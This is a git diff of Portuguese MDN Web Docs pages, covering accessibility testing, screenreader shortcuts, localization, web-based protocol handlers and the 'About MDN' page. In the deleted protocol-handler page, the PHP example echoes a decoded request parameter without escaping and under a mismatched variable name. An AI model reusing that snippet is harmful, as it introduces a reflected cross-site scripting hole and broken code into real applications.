    -  if(e.keyCode === 13) { // The Enter/Return key
    -    document.activeElement.onclick(e);
    -  }
    -};
    - Here we add a listener to the document object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's keyCode property; if it is the keycode that matches Return/Enter, we run the function stored in the button's onclick handler using document.activeElement.onclick(). activeElement gives us the element that is currently focused on the page.
  6. -
- -
-

Note: This technique will only work if you set your original event handlers via event handler properties (e.g. onclick). addEventListener won't work. This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. Better to just use the right element for the right job in the first place.

-
- -

Text alternatives

- -

Text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. The simplest text alternative available is the humble alt attribute, which we should include on all images that contain relevant content. This should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user.

- -
-

Note: For more information, read Text alternatives.

-
- -

Missing alt text can be tested for in a number of ways, for example using accessibility {{anch("Auditing tools")}}.

- -

Alt text is slightly more complex for video and audio content. There is a way to define text tracks (e.g. subtitles) and display them when video is being played, in the form of the {{htmlelement("track")}} element, and the WebVTT format (see Adding captions and subtitles to HTML5 video for a detailed tutorial). Browser compatibility for these features is fairly good, but if you want to provide text alternatives for audio or support older browsers, a simple text transcript presented somewhere on the page or on a separate page might be a good idea.

- -

Element relationships and context

- -

There are certain features and best practices in HTML designed to provide context and relationships between elements where none otherwise exists. The three most common examples are links, form labels, and data tables.

- -

The key to accessible link text is that people using screen readers will often use a common feature whereby they pull up a list of all the links on the page. In this case, the link text needs to make sense out of context. For example, a list of links labeled "click here", "click here", etc. is really bad for accessibility. It is better for link text to make sense in context and out of context.

- -

Next on our list, the form {{htmlelement("label")}} element is one of the central features that allows us to make forms accessible. The trouble with forms is that you need labels to say what data should be entered into each form input. Each label needs to be included inside a {{htmlelement("label")}} to link it unambiguously to its partner form input (each <label> for attribute value needs to match the form element id value), and it will make sense even if the source order is not completely logical (which to be fair it should be).

- -
-

Note: For more information about link text and form labels, read Meaningful text labels.

-
- -

Finally, a quick word about data tables. A basic data table can be written with very simple markup (see bad-table.html live, and source), but this has problems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for such a table.

- -

If you instead look at our punk-bands-complete.html example (live, source), you can see a few accessibility aids at work here, such as table headers ({{htmlelement("th")}} and scope attributes), {{htmlelement("caption")}} element, etc.

- -
-

Note: For more information about accessible tables, read Accessible data tables.

-
- -

CSS

- -

CSS tends to provide a lot fewer fundamental accessibility features than HTML, but it can still do just as much damage to accessibility if used incorrectly. We have already mentioned a couple of accessibility tips involving CSS:

- - - -

There are a few other considerations you should take into account.

- -

Color and color contrast

- -

When choosing a color scheme for your website, you should make sure that the text (foreground) color contrasts well with the background color. Your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. Use a tool like WebAIM's Color Contrast Checker to check whether your scheme is contrasting enough.

- -

Another tip is to not rely on color alone for signposts/information, as this will be no good for those who can't see the color. Instead of marking required form fields in red, for example, mark them with an asterisk and in red.

- -
-

Note: A high contrast ratio will also allow anyone using a smartphone or tablet with a glossy screen to better read pages when in a bright environment, such as sunlight.

-
- -

Hiding content

- -

There are many instances where a visual design will require that not all content is shown at once. For example, in our Tabbed info box example (see source code) we have three panels of information, but we are positioning them on top of one another and providing tabs that can be clicked to show each one (it is also keyboard accessible — you can alternatively use Tab and Enter/Return to select them).

- -

- -

Screen reader users don't care about any of this — they are happy with the content as long as the source order makes sense, and they can get to it all. Absolute positioning (as used in this example) is generally seen as one of the best mechanisms of hiding content for visual effect, because it doesn't stop screen readers from getting to it.

- -

On the other hand, you shouldn't use {{cssxref("visibility")}}:hidden or {{cssxref("display")}}:none, because they do hide content from screenreaders. Unless of course, there is a good reason why you want this content to be hidden from screenreaders.

- -
-

Note: Invisible Content Just for Screen Reader Users has a lot more useful detail surrounding this topic.

-
- -

JavaScript

- -

JavaScript has the same kind of problems as CSS with respect to accessibility — it can be disastrous for accessibility if used badly, or overused. We've already hinted at some accessibility problems related to JavaScript, mainly in the area of semantic HTML — you should always use appropriate semantic HTML to implement functionality wherever it is available, for example use links and buttons as appropriate. Don't use <div> elements with JavaScript code to fake functionality if at all possible — it is error prone, and more work than using the free functionality HTML gives you.

- -

Simple functionality

- -

Generally simple functionality should work with just the HTML in place — JavaScript should only be used to enhance functionality, not build it in entirely. Good uses of JavaScript include:

- - - -
-

Note: WebAIM's Accessible JavaScript provides some useful further details about considerations for accessible JavaScript.

-
- -

More complex JavaScript implementations can create issues with accessibility — you need to do what you can. For example, it would be unreasonable to expect you to make a complex 3D game written using WebGL 100% accessible to a blind person, but you could implement keyboard controls so it is usable by non-mouse users, and make the color scheme contrasting enough to be usable by those with color deficiencies.

- -

Complex functionality

- -

One of the main areas problematic for accessibility is complex apps that involve complicated form controls (such as date pickers) and dynamic content that is updated often and incrementally.

- -

Non-native complicated form controls are problematic because they tend to involve a lot of nested <div>s, and the browser does not know what to do with them by default. If you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully review the options available to see how accessible they are before diving in. Bootstrap looks to be fairly good for accessibility, for example, although Making Bootstrap a Little More Accessible by Rhiana Heath explores some of its issues (mainly related to color contrast), and looks at some solutions.

- -

Regularly updated dynamic content can be a problem because screenreader users might miss it, especially if it updates unexpectedly. If you have a single-page app with a main content panel that is regularly updated using XMLHttpRequest or Fetch, a screenreader user might miss those updates.

- -

WAI-ARIA

- -

Do you need to use such complex functionality, or will plain old semantic HTML do instead? If you do need complexity, you should consider using WAI-ARIA (Accessible Rich Internet Applications), a specification that provides semantics (in the form of new HTML attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers.

- -

To deal with complex form widgets, you need to use ARIA attributes like roles to state what role different elements have in a widget (for example, are they a tab, or a tab panel?), aria-disabled to say whether a control is disabled or not, etc.

- -

To deal with regularly updating regions of content, you can use the aria-live attribute, which identifies an updating region. Its value indicates how urgently the screen reader should read it out:

- - - -

Here's an example:

- -
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
- -

You can see an example in action at Freedom Scientific's ARIA (Accessible Rich Internet Applications) Live Regions example — the highlighted paragraph should update its content every 10 seconds, and a screenreader should read this out to the user. ARIA Live Regions - Atomic provides another useful example.

- -

We don't have space to cover WAI-ARIA in detail here, you can learn a lot more about it at WAI-ARIA basics.

- -

Accessibility tools

- -

Now we've covered accessibility considerations for different web technologies, including a few testing techniques (like keyboard navigation and color contrast checkers), let's have a look at other tools you can make use of when doing accessibility testing.

- -

Auditing tools

- -

There are a number of auditing tools available that you can feed your web pages into. They will look over them and return a list of accessibility issues present on the page. Examples include:

- - - -

Let's look at an example, using Wave.

- -
    -
  1. Go to the Wave homepage.
  2. -
  3. Enter the URL of our bad-semantics.html example into the text input at the top of the page (or the URL of another webpage you'd like to analyze) and press Analyse Your Webpage.
  4. -
  5. Check out the description of the accessibility problems on the results page (the icons you can click to see what problems are occuring where are rather useful).
  6. -
- -
-

Note: Such tools aren't good enough to solve all your accessibility problems on their own. You'll need a combination of these, knowledge and experience, user testing, etc. to get a full picture.

-
- -

Automation tools

- -

Deque's aXe tool goes a bit further than the auditing tools we mentioned above. Like the others, it checks pages and returns accessibility errors. Its most immediately useful form is probably the browser extensions:

- - - -

These add an accessibility tab to the browser developer tools. For example, we installed the Firefox version, then used it to audit our bad-table.html example. We got the following results:

- -

- -

aXe is also installable using npm, and can be integrated with task runners like Grunt and Gulp, automation frameworks like Selenium and Cucumber, unit testing frameworks like Jasmin, and more besides (again, see the main aXe page for details).

- -

Screenreaders

- -

It is definitely worth testing with a screenreader to get used to how severely visually impaired people use the Web. There are a number of screenreaders available:

- - - -

Generally, screen readers are separate apps that run on the host operating system and can read not only web pages, but text in other apps as well. This is not always the case (ChromeVox is a browser extension), but usually. Screenreaders tend to act in slightly different ways and have different controls, so you'll have to consult the documentation for your chosen screen reader to get all of the details — saying that, they all work in basically the same sort of way.

- -

Let's go through some tests with a couple of different screenreaders to give you a general idea of how they work and how to test with them.

- -
-

Note: WebAIM's Designing for Screen Reader Compatibility provides some useful information about screenreader usage and what works best for screenreaders. Also see Screen Reader User Survey #6 Results for some interesting screenreader usage statistics.

-
- -

VoiceOver

- -

VoiceOver (VO) comes free with your Mac/iPhone/iPad, so it's useful for testing on desktop/mobile if you use Apple products. We'll be testing it on Mac OS X on a MacBook Pro.

- -

To turn it on, press Cmd + F5. If you've not used VO before, you will be given a welcome screen where you can choose to start VO or not, and run through a rather useful tutorial to learn how to use it. To turn it off again, press Cmd + F5 again.

- -
-

Note: You should go through the tutorial at least once — it is a really useful way to learn VO.

-
- -

When VO is on, the display will look mostly the same, but you'll see a black box at the bottom left of the screen that contains information on what VO currently has selected. The current selection will also be highlighted, with a black border — this highlight is known as the VO cursor.

- -

- -

To use VO, you will make a lot of use of the "VO modifier" — this is a key or key combination that you need to press in addition to the actual VO keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of VO, the modifier can either be CapsLock, or Ctrl + Option.

- -

VO has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "VO" means "the VoiceOver modifier".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Most common VoiceOver keyboard shortcuts
Keyboard shortcutDescription
VO + Cursor keysMove the VO cursor up, right, down, left.
VO + SpacebarSelect/activate items highlighted by the VO cursor. This includes items selected in the Rotor (see below).
VO + Shift + down cursorMove into a group of items (such as an HTML table, or a form, etc.) Once inside a group you can move around and select items inside that group using the above commands as normal.
VO + Shift + up cursorMove out of a group.
VO + C(when inside a table) Read the header of the current column.
VO + R(when inside a table) Read the header of the current row.
VO + C + C (two Cs in succession)(when inside a table) Read the entire current column, including header.
VO + R + R (two Rs in succession)(when inside a table) Read the entire current row, including the headers that correspond to each cell.
VO + left cursor, VO + right cursor(when inside some horizontal options, such as a date or time picker) Move between options.
VO + up cursor, VO + down cursor(when inside some horizontal options, such as a date or time picker) Change the current option.
VO + UUse the Rotor, which displays lists of headings, links, form controls, etc. for easy navigation.
VO + left cursor, VO + right cursor(when inside Rotor) Move between different lists available in the Rotor.
VO + up cursor, VO + down cursor(when inside Rotor) Move between different items in the current Rotor list.
Esc(when inside Rotor) Exit Rotor.
Ctrl(when VO is speaking) Pause/Resume speech.
VO + ZRestart the last bit of speech.
VO + DGo into the Mac's Dock, so you can select apps to run inside it.
- -

This seems like a lot of commands, but it isn't so bad when you get used to it, and VO regularly gives you reminders of what commands to use in certain places. Have a play with VO now; you can then go on to play with some of our examples in the {{anch("Screenreader testing")}} section.

- -

NVDA

- -

NVDA is Windows-only, and you'll need to install it.

- -
    -
  1. Download it from nvaccess.org. You can choose whether to make a donation or download it for free; you'll also need to give them your e-mail address before you can download it.
  2. -
  3. Once downloaded, install it — you double click the installer, accept the license and follow the prompts.
  4. -
  5. To start NVDA, double click on the program file/shortcut, or use the keyboard shortcut Ctrl + Alt + N. You'll see the NVDA welcome dialog when you start it. Here you can choose from a couple of options, then press the OK button to get going.
  6. -
- -

NVDA will now be active on your computer.

- -

To use NVDA, you will make a lot of use of the "NVDA modifier" — this is a key that you need to press in addition to the actual NVDA keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of NVDA, the modifier can either be Insert (the default), or CapsLock (can be chosen by checking the first checkbox in the NVDA welcome dialog before pressing OK).

- -
-

Note: NVDA is more subtle than VoiceOver in terms of how it highlights where it is and what it is doing. When you are scrolling through headings, lists, etc., items you are selected on will generally be highlighted with a subtle outline, but this is not always the case for all things. If you get completely lost, you can press Ctrl + F5 to refresh the current page and begin from the top again.

-
- -

NVDA has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "NVDA" means "the NVDA modifier".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Most common NVDA keyboard shortcuts
Keyboard shortcutDescription
NVDA + QTurn NVDA off again after you've started it.
NVDA + up cursorRead the current line.
NVDA + down cursorStart reading at the current position.
Up cursor and down cursor, or Shift + Tab and TabMove to previous/next item on page and read it.
Left cursor and right cursorMove to previous/next character in current item and read it.
Shift + H and HMove to previous/next heading and read it.
Shift + K and KMove to previous/next link and read it.
Shift + D and DMove to previous/next document landmark (e.g. <nav>) and read it.
Shift + 1–6 and 1–6Move to previous/next heading (level 1–6) and read it.
Shift + F and FMove to previous/next form input and focus on it.
Shift + T and TMove to previous/next data table and focus on it.
Shift + B and BMove to previous/next button and read its label.
Shift + L and LMove to previous/next list and read its first list item.
Shift + I and IMove to previous/next list item and read it.
Enter/Return(when link/button or other activatable item is selected) Activate item.
NVDA + Space(when form is selected) Enter form so individual items can be selected, or leave form if you are already in it.
Shift Tab and Tab(when inside form) Move between form inputs.
Up cursor and down cursor(when inside form) Change form input values (in the case of things like select boxes).
Spacebar(when inside form) Select chosen value.
Ctrl + Alt + cursor keys(when a table is selected) Move between table cells.
- -

Screenreader testing

- -

Now you've gotten used to using a screenreader, we'd like you to use it to do some quick accessibility tests, to get an idea of how screenreaders deal with good and bad webpage features:

- - - -

User testing

- -

As mentioned above, you can't rely on automated tools alone for determining accessibility problems on your site. It is recommended that when you draw up your testing plan, you should include some accessibility user groups if at all possible (see our User Testing section earlier on in the course for some more context). Try to get some screenreader users involved, some keyboard-only users, some non-hearing users, and perhaps other groups too, as suits your requirements.

- -

Accessibility testing checklist

- -

The following list provides a checklist for you to follow to make sure you've carried out the recommended accessibility testing for your project:

- -
    -
  1. Make sure your HTML is as semantically correct as possible. Validating it is a good start, as is using an Auditing tool.
  2. -
  3. Check that your content makes sense when the CSS is turned off.
  4. -
  5. Make sure your functionality is keyboard accessible. Test using Tab, Return/Enter, etc.
  6. -
  7. Make sure your non-text content has text alternatives. An Auditing tool is good for catching such problems.
  8. -
  9. Make sure your site's color contrast is acceptable, using a suitable checking tool.
  10. -
  11. Make sure hidden content is visible by screenreaders.
  12. -
  13. Make sure that functionality is usable without JavaScript wherever possible.
  14. -
  15. Use ARIA to improve accessibility where appropriate.
  16. -
  17. Run your site through an Auditing tool.
  18. -
  19. Test it with a screenreader.
  20. -
  21. Include an accessibility policy/statement somewhere findable on your site to say what you did.
  22. -
- -

Finding help

- -

There are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's Finding help section for some good pointers.

- -

Summary

- -

Hopefully this article has given you a good grounding in the main accessibility problems you might encounter, and how to test and overcome them.

- -

In the next article we'll look at feature detection in more detail.

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

- -

In this module

- - diff --git a/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/index.html b/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/index.html deleted file mode 100644 index f788649424..0000000000 --- a/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Teste cruzado de navegador -slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador -tags: - - Acessibilidade - - Aprender - - Automação - - CSS - - CodingScripting - - Ferramentas - - HTML - - JavaScript - - Landing - - Principiante - - Testar - - cruzado navegador - - modulo -translation_of: Learn/Tools_and_testing/Cross_browser_testing ---- -
{{LearnSidebar}}
- -

Este módulo foca-se em testar projetos da web em diferentes navegadores. Nós olhamos para identificar o seu público alvo (por exemplo, quais o s utilizadores, navegadores e dispositivos que mais precisa de se preocupar?), como testar, os principais problemas que irá enfrentar com diferentes tipos de código e como os mitigar, quais as ferramentas que são mais úteis para ajudá-lo a testar e corrigir problemas, e como utilizar a automação para acelerar os testes.

- -

Pré-requisitos

- -

You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here.

- -

Guias

- -
-
Introduction to cross browser testing
-
This article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?"
-
Strategies for carrying out testing
-
Next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), low fi testing strategies (get yourself a range of devices and some virtual machines and do adhoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
-
Handling common HTML and CSS problems
-
With the scene set, we'll now look specifically at the common cross browser problems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handing CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
-
Handling common JavaScript problems
-
Now we'll look at common cross browser JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern JavaScript features working in older browsers, and more.
-
Handling common accessibility problems
-
Next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
-
Implementing feature detection
-
Feature detection involves working out whether a browser supports a certain block of code, and running different code dependent on whether it does (or doesn't), so that the browser can always provide a working experience rather crashing/erroring in some browsers. This article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
-
Introduction to automated testing
-
Manually running tests on several browsers and devices, several times per day, can get tedious and time consuming. To handle this efficiently, you should become familiar with automation tools. In this article we look at what is available, how to use task runners, and the basics of how to use commercial browser test automation apps such as Sauce Labs and Browser Stack.
-
Setting up your own test automation environment
-
In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/WebDriver and a testing library such as selenium-webdriver for Node. We will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the previous article.
-
diff --git "a/files/pt-pt/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" "b/files/pt-pt/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" deleted file mode 100644 index 3dad673d0c..0000000000 --- "a/files/pt-pt/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Localizar descrições de extensões -slug: Localizar_descrições_de_extensões -tags: - - Extensões - - Localização ---- -

 

- -

Por causa do bug 257155, desenvolvedores de extensões devem através de um processo especial, definir descrições localizadas na extensão para alvos de extensão baseados em um kit de ferramentas (Como o Firefox ou o Thunderbird).

- - - -
extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION
- - - -
pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");
diff --git "a/files/pt-pt/localiza\303\247\303\243o/index.html" "b/files/pt-pt/localiza\303\247\303\243o/index.html" deleted file mode 100644 index 38c936a7b1..0000000000 --- "a/files/pt-pt/localiza\303\247\303\243o/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Localização -slug: Localização -tags: - - Colaboração - - Glossário - - Introdução - - Localização - - Mecânica da Web -translation_of: Glossary/Localization ---- -
Localização (l10n) é o processo de adaptar uma interface do utilizador do software para uma cultura específica. -

 

- -

O seguinte são fatores comuns a considerar:

- - - -

Saber mais

- -

Conhecimento Geral

- - - -

 

- -

 

-
diff --git a/files/pt-pt/manipuladores_de_protocolo_web/index.html b/files/pt-pt/manipuladores_de_protocolo_web/index.html deleted file mode 100644 index 784696c1dc..0000000000 --- a/files/pt-pt/manipuladores_de_protocolo_web/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Manipuladores de protocolo web -slug: Manipuladores_de_protocolo_web -tags: - - Firefox 3 ---- -

{{ Fx_minversion_header(3) }}

-

Visão geral

-

É comum encontrar páginas com links para recursos utilizando protocolos não-http. Um exemplo é o protocolo mailto:: -

-
<a href="mailto:webmaster@exemplo.com">Web Master</a>
-
-

Autores podem usar um link mailto: quando desejam fornecer uma maneira conveniente de enviar mensagens diretamente da página. Quando o link é ativado, o navegador deve lançar a aplicação padrão do sistema para manipular emails. Você pode pensar nisso como um manipulador de protocolos baseado no desktop. -

Manipuladores de protocolos baseados na web permitem que aplicações web também participem desse processo. Isso tem-se tornado mais importante à medida em que mais e mais tipos de aplicações tem migrado para a web. Na verdade, existem várias aplicações que manipulam mensagens baseadas na web que poderiam processar os links mailto. -

-

Registrando

-

Registrar uma aplicação web como manipulador de protocolos não é um processo difícil. Basicamente, a aplicação web deve utilizar o o método registerProtocolHandler() para registrar-se como manipulador em potencial para um determinado protocolo. Por exemplo: -

-
navigator.registerProtocolHandler("mailto",
-                                  "https://www.exemplo.com/?uri=%s",
-                                  "Correio de Exemplo");
-
-

Onde os parâmetros são: -

- -

Quando um navegador executa esse código, ele deve pedir permissão ao usuário para registrar a aplicação como manipulador do protocolo. O Firefox exibe um prompt na barra de notificação: -

Image:mpw-notificacao.png -

{{ Note() }} -

-

Exemplo

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-  <title>Exemplo de manipulador de protocolo - Registro</title>
-  <script type="text/javascript">
-    navigator.registerProtocolHandler("falso",
-                                      "http://loremipsum.org/projetos/mpw.php?valor=%s",
-                                      "Falso Mail");
-  </script>
-</head>
-<body>
-  <h1>Exemplo de manipulador de protocolo</h1>
-  <p>Esta página instalará um manipulador de protocolos para o protocolo <code>falso:</code>.</p>
-</body>
-</html>
-
-

Ativando

-

Agora, sempre que o usuário ativar um link que utiliza o protocolo registrado, o navegador direcionará a ação para a URL fornecida pela aplicação registrada. O Firefox irá, por padrão, perguntar ao usuário antes de executar a ação. -

Image:mpw-executar.png -

-

Exemplo

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-  <title>Exemplo de manipulador de protocolo - Teste</title>
-</head>
-<body>
-  <p>Ei, você já viu <a href="falso:URL%20de%20exemplo">isso</a> antes?</p>
-</body>
-</html>
-
-

Manipulando

-

A próxima fase é manipular a ação. O navegador extrai o valor do atributo href do link ativado, combina esse valor com a URL fornecida pelo manipulador durante o registro e executa um HTTP GET na URL. Assim, usando os exemplos acima, o navegador executaria um GET na seguinte URL: -

-
http://loremipsum.org/projetos/mpw.php?valor=falso:URL%20de%20exemplo
-
-

Programas no servidor podem extrair os parâmetros e executar a ação desejada. -

{{ Note("o valor inteiro do atributo href é passado ao programa do servidor. Isso significa que o programa no servidor deverá separar o protocolo dos dados.") }} -

-

Exemplo

-
<?php
-$value = "";
-if ( isset ( $_GET["valor"] ) ) {
-  $value = $_GET["valor"];
-}
-?>
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-    <title>Exemplo de manipulador de protocolo</title>
-</head>
-<body>
-  <h1>Exemplo de manipulador de protocolo - Manipulador</h1>
-  <p>Esta página é chamada ao manipular uma ação do protocolo <code>falso:</code>. Dados enviados:</p>
-  <textarea>
-<?php echo(urldecode($valor)) ?>
-  </textarea>
-</body>
-</html>
-
-

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers", "pl": "pl/Funkcje_obs\u0142ugi_protoko\u0142\u00f3w_przez_aplikacje_internetowe" } ) }} diff --git a/files/pt-pt/mdn/about/index.html b/files/pt-pt/mdn/about/index.html new file mode 100644 index 0000000000..1da67e04e5 --- /dev/null +++ b/files/pt-pt/mdn/about/index.html @@ -0,0 +1,127 @@ +--- +title: Sobre a MDN +slug: MDN/Sobre +tags: + - Colaboração + - Comunidade + - Direitos de Autor + - Documentação + - Guía + - Licenças + - Metadados da MDN +translation_of: MDN/About +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +

MDN Web Docs é uma plataforma de aprendizagem em evolução para as tecnologias da Web e software que energiza a Web, incluindo:

+ + + +

A nossa missão

+ + + +

A missão da MDN é simples: proporcionar aos programadores a informação que eles precisam para criarem facilmente projetos na Web aberta. Se é uma tecnologia aberta exposta à Web, nós queremos documentá-la.

+ +

Além disso, nós proporcionamos documentação sobre os produtos Mozilla e como criar e contribuir para os projetos da Mozilla.

+ +

Se não tiver a certeza se um tópico em particular deve ser abrangido na MDN, leia: Isso pertence ao MDN?

+ + + +

Como é que pode ajudar

+ + + +

Não precisa de ser capaz de programar - ou escrever bem - para poder ajudar a MDN! Nós temos muitas maneiras em que pode ajudar, desde rever artigos para ter a certeza de que fazem sentido, para contribuir com texto, para adicionar código de exemplo. De facto, existem muitas maneiras de ajudar que nós temos uma página de Primeiros Passos que o ajuda a escolher as tarefas para fazer, com base nos seus interesses e quanto tempo é que tem para contribuir!

+ +

Também pode ajudar a promover a MDN no seu próprio blogue ou site da Web.

+ + + +

A comunidade da MDN

+ +

Nossa comunidade é global! Temos colaboradores incríveis em todo o mundo, em vários idiomas. Se você quiser saber mais sobre nós, ou se precisar de ajuda de qualquer tipo com o MDN, fique à vontade para visitar nosso fórum de discussão ou canal de IRC! Você também pode acompanhar o que estamos fazendo seguindo nossa conta no Twitter, @MozDevNet. Você também pode enviar tweets para nós, se você vir algo errado ou se você gostaria de oferecer feedback (ou quiser nos agradecer) aos nossos escritores e colaboradores!

+ +

Utilizar conteúdo da MDN Web Docs

+ +

O conteúdo da MDN está disponível gratuitamente, e sob as licenças de código aberto.

+ +

Direitos de Autor e Licenças

+ +

O conteúdo da MDN está totalmente disponível sob várias licenças de código aberto. Esta secção cobre os tipos de conteúdo que nós proporcionamos e quais as licenças em vigor para cada.

+ +

Documentação e artigos

+ +

MDN wiki documents have been prepared with the contributions of many authors, both within and outside the Mozilla Foundation. Unless otherwise indicated, the content is available under the terms of the Creative Commons Attribution-ShareAlike license (CC-BY-SA), v2.5 or any later version. Please attribute "Mozilla Contributors" and include a hyperlink (online) or URL (in print) to the specific wiki page for the content being sourced. For example, to provide attribution for this article, you can write:

+ +
Sobre a MDN, pelos Colaboradores da Mozilla (inglês) está licenciado sob CC-BY-SA 2.5.
+ +

Note that in the example, "Mozilla Contributors" links to the history of the cited page. See Best practices for attribution (EN) for further explanation.

+ +
+

Nota: consulte o conteúdo da MDN em WebPlatform.org para informação sobre como reutilizar e atribuir conteúdo MDN nesse site.

+
+ +

Code samples and snippets

+ +

Code samples added to this wiki before August 20, 2010 are available under the MIT license; you should insert the following attribution information into the MIT template: "© <date of last wiki page revision> <name of person who put it in the wiki>".

+ +

Code samples added on or after August 20, 2010 are in the public domain. No licensing notice is necessary, but if you need one, you can use: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".

+ +

Contribuições

+ +

If you wish to contribute to this wiki, you must make your documentation available under the Attribution-ShareAlike license (or occasionally an alternative license already specified by the page you are editing), and your code samples available under Creative Commons CC-0 (a Public Domain dedication). Adding to this wiki means you agree that your contributions will be made available under those licenses.

+ +

Some older content was made available under a license other than the licenses noted above; these are indicated at the bottom of each page by way of an Alternate License Block.

+ +
+

Não podem ser criadas novas páginas utilizando licenças alternativas.

+
+ +

Os direitos de autor para os materiais contribuídos permanecem com o autor, a menos que o mesmo o atribua a outra pessoa.

+ +

Se tiver quaisquer questões relacionadas ou problemas sobre qualquer coisa aqui discutida, por favor, contacte Eric Shepherd.

+ +

Logótipo, marcas registadas, marcas de serviço e wordmarks

+ +
+

The rights in the trademarks, logos, service marks of the Mozilla Foundation, as well as the look and feel of this web site, are not licensed under the Creative Commons license, and to the extent they are works of authorship (like logos and graphic design), they are not included in the work that is licensed under those terms. If you use the text of documents, and wish to also use any of these rights, or if you have any other questions about complying with our licensing terms for this collection, you should contact the Mozilla Foundation here: licensing@mozilla.org.

+ +

Interligação com a MDN

+ +

See this article for guidance on linking to MDN for best practices when linking.

+ +

Transferência de conteúdo

+ +

Pode transferir um tarball mirror completo da MDN. (2.1GB, em fevereiro de 2017)

+ +

Páginas únicas

+ +

You can retrieve the content of a single page on MDN by adding document parameters to the URL to specify what format you want.

+ +

Ferramentas de terceiros

+ +

You can view MDN content via third-party tools like Dash (for Mac OS) and Zeal (for Linux and Windows).

+ +

Kapeli also publishes offline MDN docs covering HTML, CSS, JavaScript, SVG, and XSLT.

+ +

Comunicação de problemas com MDN Web Docs

+ +

Consultar "Como comunicar um problema na MDN".

+ +

Histórico da MDN Web Docs

+ +

MDN Web Docs (anteriormente Mozilla Developer Network (MDN), anteriormente projeto da Mozilla Developer Center (MDC), a.k.a. Devmo) começou no início de 2005, quando a Fundação Mozilla (inglês) obteve a licença da AOL para utilizar o conteúdo DevEdge original do Netscape. O conteúdo DevEdge foi minado para o material ainda útil, que foi migrado por voluntários para esta wiki, e assim esta seria mais fácil para atualizar e manter.

+ +

Pode encontrar mais história da MDN na nossa página de celebração do 10º. aniversário, incluindo uma história verbal por algumas das pessoas que estiverem envolvidas.

+ +

Sobre a Mozilla

+ +

Se quer saber mais sobre quem somos, como fazer parte da Mozilla ou apenas onde nos encontrar, veio ao lugar certo. Para descobrir o que nos impulsiona e nos torna diferentes, visite a nossa página da missão.

diff --git a/files/pt-pt/mdn/at_ten/history_of_mdn/index.html b/files/pt-pt/mdn/at_ten/history_of_mdn/index.html new file mode 100644 index 0000000000..ceaed18d08 --- /dev/null +++ b/files/pt-pt/mdn/at_ten/history_of_mdn/index.html @@ -0,0 +1,225 @@ +--- +title: A História da MDN +slug: MDN_at_ten/Historia_da_MDN +tags: + - História + - Metadados MDN +translation_of: MDN_at_ten/History_of_MDN +--- +
+

